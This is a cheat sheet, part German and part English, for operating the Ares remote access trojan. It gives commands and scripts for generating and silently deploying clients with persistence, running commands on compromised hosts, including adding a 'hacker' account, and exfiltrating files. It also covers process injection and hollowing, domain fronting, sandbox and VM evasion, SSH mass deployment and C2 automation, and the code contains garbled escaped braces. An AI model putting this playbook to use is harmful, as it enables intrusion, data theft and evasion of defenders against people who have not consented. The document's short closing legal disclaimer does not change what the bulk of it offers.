Ares RAT Cheat Sheet¶

Überblick¶

Ares RAT (Remote Access Tool) ist ein Python-basiertes Fernverwaltungstool, das umfassende Kontrolle über Zielsysteme über eine webbasierte Schnittstelle bietet. Als Open-Source-Projekt entwickelt, bietet Ares RAT einen modernen Ansatz für die FernSystemverwaltung und Penetrationstests mit seiner intuitiven Weboberfläche und umfangreichen Funktionen. Das Tool ist darauf ausgelegt, legitime Systemadministrationsaufgaben zu erleichtern und gleichzeitig als wertvolles Instrument für Sicherheitsprofis bei autorisierten Penetrationstests und Red-Team-Operationen zu dienen.

Die Architektur von Ares RAT besteht aus einem leichtgewichtigen Python-Client, der Verbindungen zu einer zentralen Serverkomponente herstellt. Der Server bietet ein webbasiertes Dashboard, das Operatoren ermöglicht, mehrere verbundene Clients gleichzeitig zu verwalten, Befehle auszuführen, Dateien zu übertragen und Systemaktivitäten zu überwachen. Dieses Design macht Ares RAT besonders geeignet für Szenarien, die die Verwaltung mehrerer kompromittierter Systeme erfordern oder für Bildungszwecke in kontrollierten Laborumgebungen.

Ares RAT zeichnet sich durch seinen Fokus auf Benutzerfreundlichkeit und Bereitstellungsflexibilität aus. Die Python-basierte Implementierung gewährleistet plattformübergreifende Kompatibilität, während die Weboberfläche die Notwendigkeit spezieller Client-Software für Operatoren eliminiert. Das Tool umfasst Funktionen für Persistenz, Stealth-Betrieb und umfassende Systemaufklärung, was es zu einer vielseitigen Plattform für Verteidigungssicherheitstraining und offensive Sicherheitsoperationen macht.

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Clone Ares RAT repository¶

git clone https://github.com/sweetsoftware/Ares.git cd Ares

Install Python dependencies¶

pip3 install -r requirements.txt

Install additional dependencies¶

pip3 install flask flask-socketio eventlet

Set up database¶

python3 setup_database.py

Configure server settings¶

cp config.example.py config.py nano config.py

### Client Generation

Generating Ares RAT clients for deployment:

```bash
# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"

Docker Deployment¶

# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash

Basic Usage¶

Server Management¶

Starting and managing the Ares RAT server:

# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Web Interface Access¶

Accessing the Ares RAT web interface:

# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Client Deployment¶

Deploying Ares RAT clients on target systems:

# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Advanced Features¶

Command Execution¶

Executing commands through Ares RAT:

# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

File Operations¶

Managing files through Ares RAT:

# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

System Information¶

Gathering system information:

# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Persistence Mechanisms¶

Establishing persistence:

# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Stealth and Evasion¶

Process Management¶

Managing process visibility:

# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Network Evasion¶

Implementing network evasion techniques:

# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-Analysis¶

Implementing anti-analysis techniques:

# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Automation Scripts¶

Mass Deployment¶

#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"

    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"

    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Command Automation¶

#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"\\\\{self.server_url\\\\}/api/clients", headers=self.headers)
        return response.json()

    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = \\\\{"command": command\\\\}
        response = requests.post(f"\\\\{self.server_url\\\\}/api/clients/\\\\{client_id\\\\}/execute",
                               json=data, headers=self.headers)
        return response.json()

    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = \\\\{\\\\}

        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)

        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")

    # Execute command on all clients
    results = automation.mass_execute("whoami")

    for client_id, result in results.items():
        print(f"Client \\\\{client_id\\\\}: \\\\{result\\\\}")

Monitoring Script¶

#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""

    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    while True:
        try:
            # Get server status
            response = requests.get(f"\\\\{server_url\\\\}/api/status", headers=headers)

            if response.status_code == 200:
                data = response.json()

                print(f"[\\\\{datetime.now()\\\\}] Server Status:")
                print(f"  Active clients: \\\\{data['active_clients']\\\\}")
                print(f"  Total commands: \\\\{data['total_commands']\\\\}")
                print(f"  Uptime: \\\\{data['uptime']\\\\}")

                # Get client details
                clients_response = requests.get(f"\\\\{server_url\\\\}/api/clients", headers=headers)
                clients = clients_response.json()

                for client in clients:
                    print(f"  Client \\\\{client['id']\\\\}: \\\\{client['hostname']\\\\} - \\\\{client['last_seen']\\\\}")

                print("-" * 50)

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Integration Examples¶

SIEM Integration¶

#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""

    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"

    headers = \\\\{
        "Authorization": f"Splunk \\\\{splunk_token\\\\}",
        "Content-Type": "application/json"
    \\\\}

    splunk_event = \\\\{
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    \\\\}

    response = requests.post(splunk_url, json=splunk_event, headers=headers)

    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = \\\\{
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
\\\\}

send_to_siem(event)

Threat Intelligence Integration¶

#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = \\\\{"apikey": vt_api_key, "resource": ioc\\\\}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        data = response.json()
        return data

    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by \\\\{threat_data['positives']\\\\} engines")

Troubleshooting¶

Connection Issues¶

# Test server connectivity
curl -v http://192.168.1.100:8080/api/status

# Check port accessibility
telnet 192.168.1.100 8080

# Verify firewall rules
sudo iptables -L|grep 8080

# Check DNS resolution
nslookup ares-server.domain.com

# Test with different protocols
curl -k https://192.168.1.100:443/api/status

Client-Probleme¶

# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Leistungsprobleme¶

# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux|grep ares

# Monitor network connections
netstat -an|grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Sicherheitsüberlegungen¶

Betriebliche Sicherheit¶

Server-Sicherheit: - Verwenden Sie starke Authentifizierungsanmeldedaten - HTTPS/TLS-Verschlüsselung aktivieren - IP-Whitelisting implementieren - Regelmäßige Sicherheitsupdates - Zugriffsprotokollen überwachen

Client-Sicherheit: - Verschlüsselte Kommunikation verwenden - Anti-Analyse-Techniken implementieren - Regelmäßige Payload-Updates - Sichere Löschung von Artefakten - Auf Erkennung überwachen

Netzwerksicherheit: - VPNs oder Proxys für C2-Verkehr verwenden - Domain-Fronting implementieren - Kommunikationsmuster randomisieren - Netzwerkanomalie überwachen - Legitim aussehenden Datenverkehr verwenden

Rechtliche und ethische Überlegungen¶

Nur autorisierte Nutzung: - Ordnungsgemäße schriftliche Autorisierung einholen - Klaren Umfang und Einschränkungen definieren - Alle Aktivitäten dokumentieren - Verantwortungsvolle Offenlegung befolgen - Privatsphäre und Vertraulichkeit respektieren

Compliance: - Geltende Gesetze und Vorschriften befolgen - Datenschutzmaßnahmen implementieren - Prüfspuren führen - Regelmäßige Compliance-Überprüfungen - Vorfallreaktionsverfahren

Referenzen¶

Ares RAT GitHub Repository Python Remote Access Tools https://www.nist.gov/cybersecurity[Web-Based C2 Frameworks](